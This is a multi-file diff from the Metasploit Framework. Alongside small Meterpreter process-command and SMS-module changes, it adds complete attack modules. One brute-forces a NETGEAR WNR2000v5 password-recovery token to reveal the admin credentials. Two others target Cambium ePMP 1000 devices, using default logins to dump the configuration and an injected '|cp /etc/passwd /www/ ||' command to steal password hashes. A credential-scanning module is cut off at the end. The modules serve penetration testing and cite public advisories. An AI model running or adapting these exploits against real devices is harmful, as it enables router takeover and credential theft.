"-U" => [ true, "Filter on user name" ],
"-A" => [ true, "Filter on architecture" ],
"-x" => [ false, "Filter for exact matches rather than regex" ],
"-s" => [ false, "Filter only SYSTEM processes" ],
"-c" => [ false, "Filter only child processes of the current shell" ],
"-h" => [ false, "Help menu." ])
#
# Options for the 'suspend' command.
@ -92,6 +93,8 @@ class Console::CommandDispatcher::Stdapi::Sys
"getsid" => "Get the SID of the user that the server is running as",
"getenv" => "Get one or more environment variable values",
"kill" => "Terminate a process",
"pkill" => "Terminate processes by name",
"pgrep" => "Filter processes by name",
"ps" => "List running processes",
"reboot" => "Reboots the remote computer",
"reg" => "Modify and interact with the remote registry",
@ -113,6 +116,8 @@ class Console::CommandDispatcher::Stdapi::Sys
"getsid" => [ "stdapi_sys_config_getsid" ],
"getenv" => [ "stdapi_sys_config_getenv" ],
"kill" => [ "stdapi_sys_process_kill" ],
"pkill" => [ "stdapi_sys_process_kill", "stdapi_sys_process_get_processes" ],
"pgrep" => [ "stdapi_sys_process_get_processes" ],
"ps" => [ "stdapi_sys_process_get_processes" ],
"reboot" => [ "stdapi_sys_power_exitwindows" ],
"reg" => [
@ -372,7 +377,81 @@ class Console::CommandDispatcher::Stdapi::Sys
def cmd_kill_help
print_line("Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]")
print_line("Terminate one or more processes.")
print_line(" -s : Kills the pid associated with the current session.")
print_line(" -s Kills the pid associated with the current session.")
end
#
# Kills one or more processes by name.
#
def cmd_pkill(*args)
if args.include?('-h')
cmd_pkill_help
return true
end
all_processes = client.sys.process.get_processes
processes = match_processes(all_processes, args)
if processes.length == 0
print_line("No matching processes were found.")
return true
end
if processes.length == all_processes.length && !args.include?('-f')
print_error("All processes will be killed, use '-f' to force.")
return true
end
pids = processes.collect { |p| p['pid'] }.reverse
print_line("Killing: #{pids.join(', ')}")
client.sys.process.kill(*(pids.map { |x| x }))
true
end
def cmd_pkill_help
print_line("Usage: pkill [ options ] pattern")
print_line("Terminate one or more processes by name.")
print_line @@ps_opts.usage
end
#
# Filters processes by name
#
def cmd_pgrep(*args)
if args.include?('-h')
cmd_pgrep_help
return true
end
all_processes = client.sys.process.get_processes
processes = match_processes(all_processes, args, quiet: true)
if processes.length == 0 || processes.length == all_processes.length
return true
end
# XXX fix Rex parser to properly handle adjacent short flags
f_flag = args.include?('-f') || args.include?('-lf') || args.include?('-fl')
l_flag = args.include?('-l') || args.include?('-lf') || args.include?('-fl')
processes.each do |p|
if l_flag
if f_flag
print_line("#{p['pid']} #{p['path']}")
else
print_line("#{p['pid']} #{p['name']}")
end
else
print_line("#{p['pid']}")
end
end
true
end
def cmd_pgrep_help
print_line("Usage: pgrep [ options ] pattern")
print_line("Filter processes by name.")
print_line @@ps_opts.usage
end
#
@ -418,7 +497,87 @@ class Console::CommandDispatcher::Stdapi::Sys
valid_pids << pid
end
end
return valid_pids
valid_pids
end
def match_processes(processes, args, quiet: false)
search_proc = nil
search_user = nil
exact_match = false
# Parse opts
@@ps_opts.parse(args) do |opt, idx, val|
case opt
when '-S', nil
if val.nil? || val.empty?
print_error "Enter a process name"
processes = []
else
search_proc = val
end
when "-U"
if val.nil? || val.empty?
print_line "Enter a process user"
processes = []
else
search_user = val
end
when '-x'
exact_match = true
when "-A"
if val.nil? || val.empty?
print_error "Enter an architecture"
processes = []
else
print_line "Filtering on arch '#{val}" if !quiet
processes = processes.select do |p|
p['arch'] == val
end
end
when "-s"
print_line "Filtering on SYSTEM processes..." if !quiet
processes = processes.select do |p|
["NT AUTHORITY\\SYSTEM", "root"].include? p['user']
end
when "-c"
print_line "Filtering on child processes of the current shell..." if !quiet
current_shell_pid = client.sys.process.getpid
processes = processes.select do |p|
p['ppid'] == current_shell_pid
end
end
end
unless search_proc.nil?
print_line "Filtering on '#{search_proc}'" if !quiet
if exact_match
processes = processes.select do |p|
p['name'] == search_proc
end
else
match = /#{search_proc}/
processes = processes.select do |p|
p['name'] =~ match
end
end
end
unless search_user.nil?
print_line "Filtering on user '#{search_user}'" if !quiet
if exact_match
processes = processes.select do |p|
p['user'] == search_user
end
else
match = /#{search_user}/
processes = processes.select do |p|
p['user'] =~ match
end
end
end
Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new(processes)
end
#
@ -430,80 +589,28 @@ class Console::CommandDispatcher::Stdapi::Sys
return true
end
# Init vars
processes = client.sys.process.get_processes
search_term = nil
all_processes = client.sys.process.get_processes
processes = match_processes(all_processes, args)
# Parse opts
@@ps_opts.parse(args) { |opt, idx, val|
case opt
when '-S'
search_term = val
if search_term.nil?
print_error("Enter a search term")
return true
end
when "-A"
print_line "Filtering on arch..."
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
processes.each do |proc|
next if proc['arch'].nil? or proc['arch'].empty?
if val.nil? or val.empty?
return false
end
searched_procs << proc if proc["arch"] == val
end
processes = searched_procs
when "-s"
print_line "Filtering on SYSTEM processes..."
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
processes.each do |proc|
searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM"
end
processes = searched_procs
when "-c"
print_line "Filtering on child processes of the current shell..."
current_shell_pid = client.sys.process.getpid
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
processes.each do |proc|
searched_procs << proc if proc['ppid'] == current_shell_pid
end
processes = searched_procs
when "-U"
print_line "Filtering on user name..."
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
processes.each do |proc|
if val.nil? or val.empty?
print_line "You must supply a search term!"
return false
end
searched_procs << proc if proc["user"].match(/#{val}/)
end
processes = searched_procs
end
}
if (processes.length == 0)
print_line("No running processes were found.")
else
tbl = processes.to_table('SearchTerm' => search_term)
print_line
print_line(tbl.to_s)
if processes.length == 0
print_line("No matching processes were found.")
return true
end
return true
tbl = processes.to_table
print_line
print_line(tbl.to_s)
true
end
def cmd_ps_help
print_line "Usage: ps [ options ]"
print_line "Usage: ps [ options ] pattern"
print_line
print_line "Use the command with no arguments to see all running processes."
print_line "The following options can be used to filter those results:"
print_line @@ps_opts.usage
end
#
# Reboots the remote computer.
#

View File

@ -32,10 +32,11 @@ module Rex
# Sends a text to multiple recipients.
#
# @param phone_numbers [<String>Array] An array of phone numbers.
# @param subject [String] Subject of the message
# @param message [String] The text message to send.
#
# @return [void]
def send_text_to_phones(phone_numbers, message)
def send_text_to_phones(phone_numbers, subject, message)
carrier = Rex::Proto::Sms::Model::GATEWAYS[self.carrier]
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
address = self.smtp_server.address
@ -52,7 +53,13 @@ module Rex
smtp.enable_starttls_auto
smtp.start(helo_domain, username, password, login_type) do
recipients.each do |r|
smtp.send_message(message, from, r)
sms_message = Rex::Proto::Sms::Model::Message.new(
from: from,
to: r,
subject: subject,
message: message
)
smtp.send_message(sms_message.to_s, from, r)
end
end
rescue Net::SMTPAuthenticationError => e

View File

@ -28,4 +28,5 @@ end
require 'net/smtp'
require 'rex/proto/sms/model/smtp'
require 'rex/proto/sms/model/message'
require 'rex/proto/sms/client'

View File

@ -0,0 +1,65 @@
# -*- coding: binary -*-
module Rex
module Proto
module Sms
module Model
class Message
# @!attribute message
# @return [String] The text message
attr_accessor :message
# @!attribute from
# @return [String] The from field in the email
attr_accessor :from
# @!attribute to
# @return [String] The to field in the email
attr_accessor :to
# @!attribute subject
# @return [String] The subject of the email
attr_accessor :subject
# Initializes the SMTP object.
#
# @param [Hash] opts
# @option opts [String] :from
# @option opts [String] :to
# @option opts [String] :message
#
# @return [Rex::Proto::Sms::Model::Message]
def initialize(opts={})
self.from = opts[:from]
self.to = opts[:to]
self.message = opts[:message]
self.subject = opts[:subject]
end
# Returns the raw SMS message
#
# @return [String]
def to_s
body = Rex::MIME::Message.new
body.add_part(self.message, 'text/plain; charset=UTF-8', nil)
sms = "MIME-Version: 1.0\n"
sms << "From: #{self.from}\n"
sms << "To: #{self.to}\n"
sms << "Subject: #{self.subject}\n"
sms << "Content-Type: multipart/alternative; boundary=#{body.bound}\n"
sms << "\n"
sms << body.to_s
sms
end
end
end
end
end
end

View File

@ -67,7 +67,7 @@ Gem::Specification.new do |spec|
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.19'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.8'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.

View File

@ -0,0 +1,261 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'time'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CRand
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
'Description' => %q{
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
the value of a certain timestamp which is in the configuration of the router.
Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
it is guaranteed that it can be bruteforced.
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
has not been tested.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-10175'],
['CVE', '2016-10176'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
],
'DisclosureDate' => 'Dec 20 2016'))
register_options(
[
Opt::RPORT(80)
], self.class)
register_advanced_options(
[
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
], self.class)
end
def get_current_time
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res['Date']
date = res['Date']
return Time.parse(date).strftime('%s').to_i
end
end
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
def get_creds
res = send_request_cgi({
'uri' => '/BRS_netgear_success.html',
'method' => 'GET'
})
if res && res.body =~ /var sn="([\w]*)";/
serial = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
end
# 1: send serial number
send_request_cgi({
'uri' => '/apply_noauth.cgi?/unauth.cgi',
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'submit_flag' => 'match_sn',
'serial_num' => serial,
'continue' => '+Continue+'
}
})
# 2: send answer to secret questions
send_request_cgi({
'uri' => '/apply_noauth.cgi?/securityquestions.cgi',
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'submit_flag' => 'security_question',
'answer1' => @q1,
'answer2' => @q2,
'continue' => '+Continue+'
}
})
# 3: PROFIT!!!
res = send_request_cgi({
'uri' => '/passwordrecovered.cgi',
'method' => 'GET'
})
if res && res.body =~ /Admin Password: (.*)<\/TD>/
password = $1
if password.blank?
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
end
if res && res.body =~ /Admin Username: (.*)<\/TD>/
username = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
end
return [username, password]
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: 'netgear',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def send_req(timestamp)
begin
uri_str = (timestamp == nil ? \
"/apply_noauth.cgi?/PWD_password.htm" : \
"/apply_noauth.cgi?/PWD_password.htm%20timestamp=#{timestamp.to_s}")
res = send_request_raw({
'uri' => uri_str,
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
})
return res
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
return
end
end
def run
# generate the security questions
@q1 = Rex::Text.rand_text_alpha(rand(20) + 2)
@q2 = Rex::Text.rand_text_alpha(rand(20) + 2)
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
print_status("#{peer} - Trying the easy way out first")
res = send_req(nil)
if res && res.code == 200
credentials = get_creds
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
return
end
# no result? let's just go on and bruteforce the timestamp
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
# get the current date from the router and parse it
end_time = get_current_time
if end_time == nil
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
end
if end_time <= datastore['TIME_OFFSET']
start_time = 0
else
start_time = end_time - datastore['TIME_OFFSET']
end
end_time += datastore['TIME_SURPLUS']
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
end
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
# work back from the current router time minus datastore['TIME_OFFSET']
while true
for time in end_time.downto(start_time)
timestamp = get_timestamp(time)
sleep 0.1
if time % 400 == 0
print_status("#{peer} - Still working, trying time #{time}")
end
res = send_req(timestamp)
if res && res.code == 200
credentials = get_creds
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
report_cred({ 'user' => credentials[0], 'password' => credentials[1] })
return
end
end
end_time = start_time
start_time -= datastore['TIME_OFFSET']
if start_time < 0
if end_time <= datastore['TIME_OFFSET']
fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
end
start_time = 0
end
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
# let the router clear the buffers a bit...
sleep 30
end
end
end

View File

@ -28,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary
phone_numbers = datastore['CELLNUMBERS'].split
print_status("Sending text (#{datastore['SMSMESSAGE'].length} bytes) to #{phone_numbers.length} number(s)...")
begin
res = send_text(phone_numbers, datastore['SMSMESSAGE'])
res = send_text(phone_numbers, datastore['SMSSUBJECT'], datastore['SMSMESSAGE'])
print_status("Done.")
rescue Rex::Proto::Sms::Exception => e
print_error(e.message)

View File

@ -0,0 +1,254 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cambium ePMP 1000 Dump Device Config',
'Description' => %{
This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
},
'References' =>
[
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/']
],
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'VERBOSE' => true })
)
register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
], self.class
)
end
def run_host(ip)
unless is_app_epmp1000?
return
end
each_user_pass do |user, pass|
do_login(user, pass)
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Check if App is Cambium ePMP 1000
#
def is_app_epmp1000?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end
good_response = (
res &&
res.code == 200 &&
res.headers['Server'] &&
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
)
if good_response
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
if !get_epmp_ver.nil?
epmp_ver = get_epmp_ver[1]
if !epmp_ver.nil?
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
return true
else
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
return true
end
end
else
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
return false
end
end
#
# Login and dump config file
#
def do_login(user, pass)
print_status("#{rhost}:#{rport} - Attempting to login...")
begin
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01'
},
'vars_post' =>
{
'username' => 'dashboard',
'password' => ''
}
}
)
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('sysauth')
)
if good_response
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'cookie' => cookie1,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Connection' => 'close'
},
'vars_post' =>
{
'username' => user,
'password' => pass
}
}
)
end
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('stok=')
)
if good_response
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
report_cred(
ip: rhost,
port: rport,
service_name: 'Cambium ePMP 1000',
user: user,
password: pass
)
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
if !get_stok.nil?
stok_value = get_stok[1]
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
config_uri = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/config_export?opts=json'
res = send_request_cgi(
{
'method' => 'GET',
'uri' => config_uri,
'cookie' => cookie2,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest',
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'Connection' => 'close'
}
}, 25
)
if res && res.code == 200 && res.body =~ /device_props/
vprint_status('++++++++++++++++++++++++++++++++++++++')
vprint_status("#{rhost}:#{rport} - dumping configuration")
vprint_status('++++++++++++++++++++++++++++++++++++++')
print_good("#{rhost}:#{rport} - File retrieved successfully!")
path = store_loot('ePMP_config', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 device config')
print_status("#{rhost}:#{rport} - File saved in: #{path}")
else
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
return
end
# Extract ePMP version
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
report_cred(
ip: rhost,
port: rport,
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
user: user,
password: pass
)
end
else
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
end
end
end
end

View File

@ -0,0 +1,318 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cambium ePMP 1000 Password Hash Extractor',
'Description' => %{
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to dump system hashes.
},
'References' =>
[
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
],
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'VERBOSE' => true })
)
register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
], self.class
)
end
def run_host(ip)
unless is_app_epmp1000?
return
end
each_user_pass do |user, pass|
do_login(user, pass)
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Check if App is Cambium ePMP 1000
#
def is_app_epmp1000?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end
good_response = (
res &&
res.code == 200 &&
res.headers['Server'] &&
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
)
if good_response
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
if !get_epmp_ver.nil?
epmp_ver = get_epmp_ver[1]
if !epmp_ver.nil?
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
if "#{epmp_ver}" >= '2.5'
print_error('This ePMP version is not vulnerable. Module will not continue.')
return false
else
return true
end
else
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
return true
end
end
else
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
return false
end
end
#
# Dump ePMP Password Hashes
#
def do_login(user, pass)
print_status("#{rhost}:#{rport} - Attempting to login...")
begin
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01'
},
'vars_post' =>
{
'username' => 'dashboard',
'password' => ''
}
}
)
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('sysauth')
)
if good_response
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'cookie' => cookie1,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Connection' => 'close'
},
'vars_post' =>
{
'username' => user,
'password' => pass
}
}
)
end
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('stok=')
)
if good_response
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
report_cred(
ip: rhost,
port: rport,
service_name: 'Cambium ePMP 1000',
user: user,
password: pass
)
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
if !get_stok.nil?
stok_value = get_stok[1]
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'
command = 'cp /etc/passwd /www/'
inject = '|' + "#{command}" + ' ||'
clean_inject = CGI.unescapeHTML(inject.to_s)
res = send_request_cgi(
{
'uri' => uri1,
'method' => 'POST',
'cookie' => cookie2,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest',
'ctype' => '*/*',
'Connection' => 'close'
},
'vars_post' =>
{
'ping_ip' => '8.8.8.8',
'packets_num' => clean_inject,
'buf_size' => 0,
'ttl' => 1,
'debug' => '0'
}
}
)
res = send_request_cgi(
{
'method' => 'GET',
'uri' => '/passwd',
'cookie' => cookie2,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest',
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'Connection' => 'close'
}
}, 25
)
if res && res.code == 200 && res.body =~ /root/
vprint_status('++++++++++++++++++++++++++++++++++++++')
vprint_status("#{rhost}:#{rport} - dumping password hashes")
vprint_line("#{res.body}")
vprint_status('++++++++++++++++++++++++++++++++++++++')
print_good("#{rhost}:#{rport} - File retrieved successfully!")
path = store_loot('ePMP_passwd', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 password hashes')
print_status("#{rhost}:#{rport} - File saved in: #{path}")
else
print_error("#{rhost}:#{rport} - Failed to retrieve hashes")
return
end
command = 'rm /www/passwd'
inject = '|' + "#{command}" + ' ||'
clean_inject = CGI.unescapeHTML(inject.to_s)
res = send_request_cgi(
{
'uri' => uri1,
'method' => 'POST',
'cookie' => cookie2,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest',
'ctype' => '*/*',
'Connection' => 'close'
},
'vars_post' =>
{
'ping_ip' => '8.8.8.8',
'packets_num' => clean_inject,
'buf_size' => 0,
'ttl' => 1,
'debug' => '0'
}
}
)
# Extract ePMP version
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
report_cred(
ip: rhost,
port: rport,
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
user: user,
password: pass
)
else
# Login failed
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
end
end
end
end
end

View File

@ -0,0 +1,206 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cambium ePMP 1000 Login Scanner',
'Description' => %{
This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly. Tested versions <=3.2.1 (current version). This should work fine for any future releases.
},
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'License' => MSF_LICENSE,
